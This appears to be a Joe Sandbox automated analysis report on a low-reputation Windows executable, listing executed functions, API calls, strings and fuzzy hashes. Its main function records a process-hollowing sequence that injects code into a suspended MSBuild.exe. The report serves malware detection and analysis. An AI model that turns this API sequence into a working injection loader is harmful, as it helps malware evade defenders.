MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0.7%
Signature Coverage:	2.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	29

Executed Functions

Function 00EF21A9 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00EF211B,00EF210B), ref: 00EF233F
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00EF2352
Wow64GetThreadContext.KERNEL32(00000088,00000000), ref: 00EF2370
ReadProcessMemory.KERNELBASE(00000140,?,00EF215F,00000004,00000000), ref: 00EF2394
VirtualAllocEx.KERNELBASE(00000140,?,?,00003000,00000040), ref: 00EF23BF
WriteProcessMemory.KERNELBASE(00000140,00000000,?,?,00000000,?), ref: 00EF2417
WriteProcessMemory.KERNELBASE(00000140,00400000,?,?,00000000,?,00000028), ref: 00EF2462
WriteProcessMemory.KERNELBASE(00000140,?,?,00000004,00000000), ref: 00EF24A0
Wow64SetThreadContext.KERNEL32(00000088,00A10000), ref: 00EF24DC
ResumeThread.KERNELBASE(00000088), ref: 00EF24EB

Strings

ResumeThread, xrefs: 00EF22E3
VirtualAlloc, xrefs: 00EF226E
WriteProcessMemory, xrefs: 00EF22BA
Load, xrefs: 00EF21E5
GetThreadContext, xrefs: 00EF2281
TerminateProcess, xrefs: 00EF23CE
GetP, xrefs: 00EF2229
VirtualAllocEx, xrefs: 00EF22A7
CreateProcessW, xrefs: 00EF225B
aryA, xrefs: 00EF21ED
SetThreadContext, xrefs: 00EF22CD
ress, xrefs: 00EF2231
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00EF233E
ReadProcessMemory, xrefs: 00EF2294

Memory Dump Source

Source File: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 23a453417767e844b6db927f33d68acc3b944dca74e6d6d9e697c4b66d58f27a
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 56B1097260164AAFDB60CF68CC80BEA73A5FF88714F158158EA0CAB341D774FA51CB94

Function 00ED8362 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,A38A0892,?,00ED8471,?,?,00000000), ref: 00ED8423

Strings

api-ms-, xrefs: 00ED83B9
ext-ms-, xrefs: 00ED83CD

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: cc476ab74e44742f1fbc118ba93f06a3b19defdfd177c2fb5f80338bb1a3ce82
Instruction ID: 22a6a29d2f4f5e68c797249eee7ce249c2c8e91f694e7795e071de4cd3f39d0a
Opcode Fuzzy Hash: cc476ab74e44742f1fbc118ba93f06a3b19defdfd177c2fb5f80338bb1a3ce82
Instruction Fuzzy Hash: E7212732A01215ABC7219B66EE80B6F3758EB81764F251222E915B73D2EF30ED02C6D0

Function 00EF57C0 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00EF5843
GetFileSize.KERNEL32 ref: 00EF5872
CloseHandle.KERNEL32 ref: 00EF588E

Memory Dump Source

Source File: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 5ec95fbf90a7b7719f4568e9df8b932412f017c3129f4be9fac1124df01db11a
Instruction ID: 6c6634b2de87a2b2c47519ddccf7bef417b9efa17941094ba8522192d3e2b6d3
Opcode Fuzzy Hash: 5ec95fbf90a7b7719f4568e9df8b932412f017c3129f4be9fac1124df01db11a
Instruction Fuzzy Hash: 6871D0B1D04648CFCB04EFA8D588BADBBF0BF98314F108529E599AB341D774A949CF52

Function 00EDEF5F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDF309: GetConsoleOutputCP.KERNEL32(A38A0892,00000000,00000000,?), ref: 00EDF36C

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00ED434B,?), ref: 00EDF0E4
GetLastError.KERNEL32(?,?,00ED434B,?,00ED458F,00000000,?,00000000,00ED458F,?,?,?,00EF16F0,0000002C,00ED447B,?), ref: 00EDF0EE

Strings

KC, xrefs: 00EDF066, 00EDF10F

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID: KC
API String ID: 2915228174-345211725
Opcode ID: a1283e75346e91b1ee46a35794e98ba94ebb9165fbaba894d56da2e3fa2e78fb
Instruction ID: d35b8d3d0809f0b63b418d80e249e94dd4fda6f1dff7efd18ba0dfbd4f11f1c1
Opcode Fuzzy Hash: a1283e75346e91b1ee46a35794e98ba94ebb9165fbaba894d56da2e3fa2e78fb
Instruction Fuzzy Hash: 82618F71D04159AFDF11DFA8C884AEEBBB9EF49308F145166E805BB352D732DA06CB90

Function 00EF52D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 00EF5450
GetLastError.KERNEL32 ref: 00EF54D6

Strings

[+], xrefs: 00EF54AC

Memory Dump Source

Source File: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: DispatcherErrorExceptionLastUser
String ID: [+]
API String ID: 2542788420-4228040803
Opcode ID: a5e5547a70808ddcd899f23e387936c75c10648dde6429f60cb739ecdbe36187
Instruction ID: 9ddf7eba73f5d4cd3b76f11925dc3fe99e14ba3122dbe5b9982fd4fc8bfb387c
Opcode Fuzzy Hash: a5e5547a70808ddcd899f23e387936c75c10648dde6429f60cb739ecdbe36187
Instruction Fuzzy Hash: CA7139B594922D8BCB24EF58D9987E9BBF0AF68304F1040E9E88DA7341D6749AC4CF51

Function 00EF5660 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00EF56CA

Part of subcall function 00EF52D0: KiUserExceptionDispatcher.NTDLL ref: 00EF5450

Part of subcall function 00EF52D0: GetLastError.KERNEL32 ref: 00EF54D6

VirtualProtect.KERNELBASE ref: 00EF577A

Strings

@, xrefs: 00EF576E

Memory Dump Source

Source File: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ConsoleDispatcherErrorExceptionFreeLastProtectUserVirtual
String ID: @
API String ID: 1907986952-2766056989
Opcode ID: ccdbf4af372b87122300cf3963f5f31e4bcec2b93cffcc3dc875fbb14b12e67a
Instruction ID: 300c1f8c95627cc130e82f8fb998f17f88a0724b2a374734be6d80720793e908
Opcode Fuzzy Hash: ccdbf4af372b87122300cf3963f5f31e4bcec2b93cffcc3dc875fbb14b12e67a
Instruction Fuzzy Hash: C541CDB0D01208DFDB04EFA9D5856AEBBF0FF88314F508529E558AB350D775A944CF91

Function 00ED1131 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00011249,00000000,?,?), ref: 00ED117A
GetLastError.KERNEL32(?,00000000,00000000,?,00EC87F7), ref: 00ED1186
__dosmaperr.LIBCMT ref: 00ED118D

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 44df55100dfb214d82d492578adabc3d1231c33a4aad3c2d7860a7f4106d69ff
Instruction ID: 15d17d865fe7a27227eefd9e2332150632780fc961273576f10100421bd93183
Opcode Fuzzy Hash: 44df55100dfb214d82d492578adabc3d1231c33a4aad3c2d7860a7f4106d69ff
Instruction Fuzzy Hash: E2018C32501209BFDF159FB1CC06AAE7BA9EF40364F10509AF911B6250DB71CE42EB90

Function 00EDF738 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00EDF0CA,00000000,00ED458F,?,00000000,?,00000000), ref: 00EDF7D4
GetLastError.KERNEL32(?,00EDF0CA,00000000,00ED458F,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00ED434B), ref: 00EDF7FA

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 6a7d488dceb0892bf31ec2110c07b8d90b1cdf22da62a8c5f687135b0dcb0a9c
Instruction ID: 27717e434f57ddb2ff8f8949f227483ec5691be54bb9961af20ae7f9e5faffe2
Opcode Fuzzy Hash: 6a7d488dceb0892bf31ec2110c07b8d90b1cdf22da62a8c5f687135b0dcb0a9c
Instruction Fuzzy Hash: 33218D35A002199FCB19CF29DD809E9B7F9EB88305F2440BAE90AE7351D7309E47CB60

Function 00ED8E82 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,00ED8D71,00EF1A10), ref: 00ED8ECE
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00ED8D71,00EF1A10), ref: 00ED8EE0

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 2970f508abfb9c1585d6c0dac45bed00b2201913e7bcc20a2f31277573333c0a
Instruction ID: 423498bb7228f15443690f1f2a19a304a082e1b68601f427b268b990dc92dacc
Opcode Fuzzy Hash: 2970f508abfb9c1585d6c0dac45bed00b2201913e7bcc20a2f31277573333c0a
Instruction Fuzzy Hash: B111B4716047414AC7344B3E8E88622BB95DB92338B38271BE8B6F67F1CB74D987D644

Function 00EF5B10 Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00EF5B38
GetModuleFileNameA.KERNEL32 ref: 00EF5B58

Part of subcall function 00EC1690: std::_Throw_Cpp_error.LIBCPMT ref: 00EC16BD
Part of subcall function 00EC1690: GetCurrentThreadId.KERNEL32 ref: 00EC16CB
Part of subcall function 00EC1690: std::_Throw_Cpp_error.LIBCPMT ref: 00EC16E4
Part of subcall function 00EC1690: std::_Throw_Cpp_error.LIBCPMT ref: 00EC1723

Memory Dump Source

Source File: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$Module$CurrentFileHandleNameThread
String ID:
API String ID: 1246727395-0
Opcode ID: f4c3f31f032bd81b608d0323866bf1574be82b83984b388a7a165b23271fc263
Instruction ID: 4e3f1adef69a66dac408fa00a9b16e34837a9c1ca87984dfe385e02fa8882eb0
Opcode Fuzzy Hash: f4c3f31f032bd81b608d0323866bf1574be82b83984b388a7a165b23271fc263
Instruction Fuzzy Hash: 5F11DAB09042188FCB58EF78DA457EDBBF0AB48300F0045ADD589A7351EA749E88CF82

Function 00ED1249 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00EF1540,0000000C), ref: 00ED125C
ExitThread.KERNEL32 ref: 00ED1263

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: a40e00d274d96b1cb570209c03d496f967dcf7e4516396265daa78ba2c265190
Instruction ID: 784a6c64d50d3f9e27cd5f33f27627c37822826e88f4ffb6f0a0dba592797b15
Opcode Fuzzy Hash: a40e00d274d96b1cb570209c03d496f967dcf7e4516396265daa78ba2c265190
Instruction Fuzzy Hash: AAF0AF70A40208AFDB04ABB0C90AE7E3BB5EF81750F10558AF401B73A2DB315902DBA1

Function 00EF5600 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00EF562C
TerminateProcess.KERNELBASE ref: 00EF563F

Memory Dump Source

Source File: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: d6c89b532d29e9b29bdb707e7dd716b53d9856c6317a58bd26b764276666d7bc
Instruction ID: 933b9541d158656e35c93e2de8074992dc83924d879bb1189704fecfe3a1d5ae
Opcode Fuzzy Hash: d6c89b532d29e9b29bdb707e7dd716b53d9856c6317a58bd26b764276666d7bc
Instruction Fuzzy Hash: 86F0A031A012089FD748AF78E8596AE7BE4EFC8310F40803DE54EAB240EE349848C781

Function 00ED75D3 Relevance: 2.6, APIs: 2, Instructions: 71
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00ED126E,00EF1540,0000000C), ref: 00ED75D7
SetLastError.KERNEL32(00000000), ref: 00ED7679

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 397aad96417030441c34f325e5f028b812b55dee10fc4696346c85d11ac4129c
Instruction ID: cb20e772d9458ac540330d995bab52dae64cf5df2fbcd2fffa5c142c8ed1cf1a
Opcode Fuzzy Hash: 397aad96417030441c34f325e5f028b812b55dee10fc4696346c85d11ac4129c
Instruction Fuzzy Hash: 4D11E33131DA116FA3202BB99D86E3A2288DF507A9B10212BF662B13A1FF91CC1B9550

Function 00ECA10F Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4763fbc1090eb783ba5978d41c5536b3f5aca7dd4288bce5d9ec584a2b02adae
Instruction ID: 4da5d747b47a65a831026c6dd6f5390a9c31f9669d9004ab715012eda2ab0a5b
Opcode Fuzzy Hash: 4763fbc1090eb783ba5978d41c5536b3f5aca7dd4288bce5d9ec584a2b02adae
Instruction Fuzzy Hash: 9E31937290151EAFCB15DE68C984EE9B7B9BF08328B18122EE551F3290E732E945CB51

Function 00ED842D Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2160373649.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2160345994.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160407064.0000000000EE8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160429654.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160447933.0000000000EF3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160467900.0000000000EF5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160486409.0000000000EF7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160515823.0000000000EFA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_8ZVMneG.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4800bbba03f83e9031ac7fa478cf1eac92a3bcf33f9628628e14c7c691f03d4
Instruction ID: 0831b148edcad4e5bbb78654dd974d3c33e18e15b6db741c3ab5dcccfccebbdd
Opcode Fuzzy Hash: a4800bbba03f83e9031ac7fa478cf1eac92a3bcf33f9628628e14c7c691f03d4
